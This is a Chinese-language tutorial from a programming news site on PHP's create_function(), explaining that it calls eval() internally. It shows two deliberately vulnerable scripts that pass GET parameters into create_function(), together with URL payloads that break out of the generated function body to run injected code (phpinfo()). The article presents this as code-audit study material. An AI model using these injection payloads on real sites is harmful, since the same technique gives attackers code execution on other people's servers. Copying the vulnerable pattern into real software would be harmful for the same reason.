广告
返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >PHPcreate_function()函数应用实例详解
  • 849
分享到

PHPcreate_function()函数应用实例详解

2024-04-02 19:04:59 849人浏览 独家记忆
摘要

目录前言create_function()简介函数功能代码注入实例0x010x02前言 一直遇到过这个 函数,但是不知道怎么利用 这回学习一下这个函数 creat

前言

一直遇到过这个 函数,但是不知道怎么利用 这回学习一下这个函数

create_function()简介

适用 PHP4>4.0.1 php 5 PHP7

语法:
create_function(string $args,  string $code)
string $args 声明的函数变量部分
string $code 执行的方法代码部分

函数功能

<?php
$newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
echo "New anonymous function: $newfunc\n";
echo $newfunc(2, M_E) . "\n";
?>

分析:

create_function() 会创造一个匿名函数 (lambda样式) 此处创建了一个叫 lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。

create_function() 函数 会在内部 执行 eval() , 我们发现是执行了 后面的 return 语句,属于create_function() 中的第二个参数 string $code 的位置

因此,上述匿名函数的创建与执行过程等价于:

<?php
function lambda_1($a,$b){
    return "ln($a) + ln($b) = " . log($a * $b);
}
?>

create_function( ) 函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程, 可以实现对代码注入的 payload 构造,从而 进行漏洞挖掘和找出存在缺陷

代码注入实例

0x01

<?php
error_reporting(0);
$sort_by = $_GET['sort_by'];
$sorter = 'strnatcasecmp';
$databases=array('1234','4321');
$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
usort($databases, create_function('$a, $b', $sort_function));
?>

payload:

Http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*

还原实际的组合过程:

$sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*

匿名函数实际的执行:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
}

$sort_by 是我们传入的值。

回车换行整理一下:

function niming($a,$b){
return 1 * ' . $sorter . '($a["' . $sort_by '"]);
}
phpinfo();/*
}

0x02

<?php
$c=$_GET['c'];
$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
$array=array('reall long string here,boy','this','midding lenth','larget');
usort($array,$lambda);
print_r($array);
?>

payload:

http://localhost/test2.php?c=1));}phpinfo();/*

还原实际的组合过程:

$lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");

匿名函数实际的执行:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
 }

换行整理:

 function ft($a,$b){
    return (strlen($a)-strlen($b)+" . "strlen(1));
    }
    phpinfo();
    /*));
 }

到此这篇关于PHP create_function()函数应用实例详解的文章就介绍到这了,更多相关PHP create_function()函数内容请搜索编程网以前的文章或继续浏览下面的相关文章希望大家以后多多支持编程网!

--结束END--

本文标题: PHPcreate_function()函数应用实例详解

本文链接: https://www.lsjlt.com/news/168942.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

本篇文章演示代码以及资料文档资料下载

下载Word文档到电脑,方便收藏和打印~

下载Word文档
猜你喜欢
  • PHPcreate_function()函数应用实例详解
    目录前言create_function()简介函数功能代码注入实例0x010x02前言 一直遇到过这个 函数,但是不知道怎么利用 这回学习一下这个函数 creat...
    99+
    2022-11-13
  • pandas应用实例之pivot函数详解
    目录1、pivot函数的定义2、pivot函数的说明3、pivo函数的参数4、pivot函数实例5、pivot函数在实际工作中解决的案例总结1、pivot函数的定义 pivot(in...
    99+
    2022-11-11
  • python 函数的详解与应用范例
    目录如何定义一个函数如何使用什么是参数不定长参数return是干什么如何定义一个函数 函数也称方法,下面写一个简单的函数: def function(): print("我是函...
    99+
    2022-11-12
  • Node.js 回调函数实例详解
    Node.js 回调函数 阻塞与非阻塞 node.js 异步编程的直接体现就是回调。 异步编程依托于回调来实现,但不能说使用了回调后程序就异步化了。 回调函数在完成任务后就会被调用,Node 使...
    99+
    2022-06-04
    回调 详解 函数
  • JavaScript运动函数实例详解
    运动函数是我们自己封装的一个函数。 作用是将css样式的改变不是一次性完成 是 逐步完成 执行效果 看上去 像是 动画/运动 完成的css样式改变。 实际项目中框架等都有自己的运动函...
    99+
    2022-11-13
  • Oracle中trunc()函数实例详解
    目录1、功能描述2、语法2.1、数值处理:2.2、日期处理:总结1、功能描述 用于截取时间或者数值,返回指定的值。 2、语法 2.1、数值处理: 格式: trunc(number,[decimals]) number&n...
    99+
    2023-01-13
    oracle中trunc函数 oracle数据库trunc用法 oracle truncat
  • python中np.random.permutation函数实例详解
    目录一:函数介绍二:实例2.1 直接处理数组或列表数2.2 间接处理:不改变原数据(对数组下标的处理)2.3 实例:鸢尾花数据中对鸢尾花的随机打乱(可以直接用)总结一:函数介绍 np...
    99+
    2023-05-14
    python np.random.permutation np.random.permutation函数
  • pytorch中permute()函数用法实例详解
    目录前言三维情况变化一:不改变任何参数变化二:1与2交换变化三:0与1交换变化四:0与2交换变化五:0与1交换,1与2交换变化六:0与1交换,0与2交换总结前言 本文只讨论二维三维中...
    99+
    2022-11-10
  • C++abs函数实际应用详解
    目录abs函数是用来干什么的abs使用的头文件abs函数用法abs函数使用说明实战带入知识点实战导入算法分析 代码实现总结abs函数是用来干什么的 abs函数主要的作用是用...
    99+
    2022-11-13
    C++ abs函数 C++ abs函数用法
  • R语言函数详解及实例用法
    函数是一组组合在一起以执行特定任务的语句。 R 语言具有大量内置函数,用户可以创建自己的函数。 在R语言中,函数是一个对象,因此R语言解释器能够将控制传递给函数,以及函数完成动作所需...
    99+
    2022-11-12
  • Express框架详解app函数使用实例
    目录express 函数来源express 的其他输出app 方法中混入原型app 中挂载请求/响应对象app 中的原型app 对象上挂载方法app 初始化小结express 函数来...
    99+
    2023-03-03
    Express框架app函数 Express app
  • Java 中synchronize函数的实例详解
    Java 中synchronize函数的实例详解java中的一个类的成员函数若用synchronized来修饰,则对应同一个对象,多个线程像调用这个对象的这个同步函数时必须等到上一个线程调用完才能由下一个线程调用。那么如果一个类同时有两个成...
    99+
    2023-05-31
    java synchronize ava
  • Python 递归函数详解及实例
    Python 递归函数 如果一个函数体直接或者间接调用自己,那么这个函数就称为递归函数.也就是说,递归函数体的执行过程中可能会返回去再次调用该函数.在python里,递归函数不需要任何特殊的语法,但是它需要...
    99+
    2022-06-04
    递归 详解 函数
  • Python中的random函数实例详解
    Python中的random函数 random模块提供生成伪随机数的函数,在使用时需要导入random模块 1. random.random()最基本的随机函数,返回一个[0.0,1...
    99+
    2023-02-22
    Python random函数 Python中的 random
  • Kotlin 内联函数详解及实例
    Kotlin 内联函数详解及实例概述在说内联函数之前,先说说函数的调用过程。调用某个函数实际上将程序执行顺序转移到该函数所存放在内存中某个地址,将函数的程序内容执行完后,再返回到转去执行该函数前的地方。这种转移操作要求在转去前要保护现场并记...
    99+
    2023-05-31
    kotlin 内联函数
  • python strip() 函数和 split() 函数的详解及实例
    python strip() 函数和 split() 函数的详解及实例 一直以来都分不清楚strip和split的功能,实际上strip是删除的意思;而split则是分割的意思。因此也表示了这两个功能是完...
    99+
    2022-06-04
    函数 详解 实例
  • python模块shutil函数应用示例详解教程
    目录本文大纲知识串讲1)模块导入2)复制文件3)复制文件夹4)移动文件或文件夹5)删除文件夹(慎用)6)创建和解压压缩包本文大纲 os模块是Python标准库中一个重要的模块,里面提...
    99+
    2022-11-12
  • CreateCompatibleDC()函数案例详解
    函数功能:该函数创建一个与指定设备兼容的内存设备上下文环境(DC)。 函数原型:HDC CreateCompatibleDC(HDC hdc); 参数: hdc:现有设备上下文环境的...
    99+
    2022-11-12
  • StretchBlt函数和BitBlt函数用法案例详解
    StretchBlt和BitBlt都用在双缓冲视图中,用来显示一幅图像 一、StretchBlt 函数从源矩形中复制一个位图到目标矩形,必要时按目标设备设置的模式进行图像的拉伸或压缩...
    99+
    2022-11-12
  • Oracle数据库中通用的函数实例详解
    目录一、 Scott用户下的表结构1、如果自己没有Scoot表就可以自己创建一个二、单行函数1、字符函数2、数值函数三、多行函数(聚合函数)1、统计记录数2、最小值查询 min()3...
    99+
    2022-11-13
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作